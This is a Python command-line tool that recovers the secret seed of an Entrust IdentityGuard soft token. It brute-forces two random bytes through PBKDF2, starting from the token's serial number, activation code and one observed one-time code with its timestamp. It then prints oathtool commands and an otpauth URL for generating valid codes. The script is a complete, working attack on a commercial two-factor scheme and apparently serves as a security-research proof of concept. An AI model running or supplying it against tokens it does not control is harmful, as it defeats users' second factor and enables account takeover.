#!/bin/env python3
from hashlib import pbkdf2_hmac
import argparse
import logging
import hashlib
import base64
from oath import totp

logging.basicConfig(level=logging.WARNING)

parser = argparse.ArgumentParser(
    description='Generate an OTP secret for an Entrust IdentityGuard soft token',
    epilog='If your cracking does not work, try without the Policy argument, as in some cases, this is not used to generate the OTP secret. You can also try adding or removing 30 seconds from the OTPTime parameter, in case a users device has slightly wrong time.'
)
parser.add_argument('Serial', type=str, nargs=1, help='Given to the user (such as through a QR code). Example: 48244-13456')
parser.add_argument('ActivationCode', type=str, nargs=1, help='Given to the user (such as through a QR code). Example: 1745-7712-6942-8698')
parser.add_argument('OTP', type=str, nargs=1, help='An OTP token generated from a given identity. You *must* know the time this was generated for it to be useful. Example: 615136')
parser.add_argument('OTPTime', type=int, nargs=1, help='The time in seconds since EPOCH when the OTP was generated. There is some slack in this value (approximately 30 seconds). Example (2019-10-07 07:50:09 UTC): 1570434609')
parser.add_argument('--policy', type=str, nargs=1, required=False, help='The policy associated with the identity. Example: {"allowUnsecured":"false","trustedExecution":"NOT_ALLOWED"}')
parser.add_argument('--strict-time', type=bool, nargs='?', const=True, required=False, help='Only search for valid keys strictly for the given timestamp. Without this option, the tool will attempt to search 30 seconds ahead or behind the given OTPTime to increase the chances of finding the key')
parser.add_argument('--label', type=str, nargs='?', const=True, required=False, help='Label to use for generating otpauth:// URL')
args = parser.parse_args()

# Remove dashes from input so we can work with the data
serial = args.Serial[0].replace("-", "")
activation = args.ActivationCode[0].replace("-", "")

# TODO: Validate all values through the Luhn check digits

activation = activation[0:-1] # remove last digit -- check digit
activationbytes = int(activation).to_bytes(7, byteorder='big')
logging.info("Activation bytes: 0x%s", activationbytes.hex())

# Determine the number of digits in the OTP and set the format accordingly
digitlen = len(args.OTP[0])
if digitlen == 6:
    digitformat = "dec6"
elif digitlen == 8:
    digitformat = "dec8"
else:
    logging.fatal("Failed to determine format of OTP.")

keys = []

timeToSearch = []
timeToSearch.append(args.OTPTime[0])

if not args.strict_time:
    # Lets add some slack
    timeToSearch.append(args.OTPTime[0] - 30)
    timeToSearch.append(args.OTPTime[0] + 30)

logging.debug("Time to search array: %s", str(timeToSearch))

# Lets iterate over our (sloppy) possible times
for otpTime in timeToSearch:
    # We now begin our bruteforce process to determine what RNG bytes were used
    # This is only 2 bytes, so can be done fairly simply (65535 possible values)
    for i in range(65535):
        # Convert i into our two bytes (endianness doesn't matter, as long as we hit all combinations)
        rngbytes = i.to_bytes(2, byteorder='big')

        password = activationbytes + rngbytes

        # The secret may or may not include the policy
        if args.policy is not None:
            password += args.policy[0].encode('utf-8')
            logging.info("Policy: %s", args.policy[0].encode('utf-8'))
        else:
            logging.debug("Policy not provided")

        # Derive the secret key
        key = pbkdf2_hmac(
            hash_name='sha256',
            password=password,
            salt=serial.encode("utf-8"),
            iterations=8,
            dklen=16
        )

        # Verify whether the output is valid for the given time
        otp = totp(key.hex(), hash=hashlib.sha256, t=otpTime, format=digitformat)

        if otp == args.OTP[0]:
            print("Possibe valid OTP seed found: ", key.hex())
            keys.append(key)

if len(keys) == 0:
    print("No valid keys were found")
elif len(keys) == 1:
    print("To generate a code immediately, run:")
    print("oathtool -v --totp=sha256 --digits=6 " + keys[0].hex())
    if (args.label):
        print(f"otpauth://totp:{args.label}?secret={bytes.decode(base64.b32encode(keys[0]))}&algorithm=sha256&digits=8")
    else:
        print("base32 encoded key: " + bytes.decode(base64.b32encode(keys[0])))
else:
    print("To generate a code immediately, run:")
    print("oathtool -v --totp=sha256 --digits=6 (found key)")
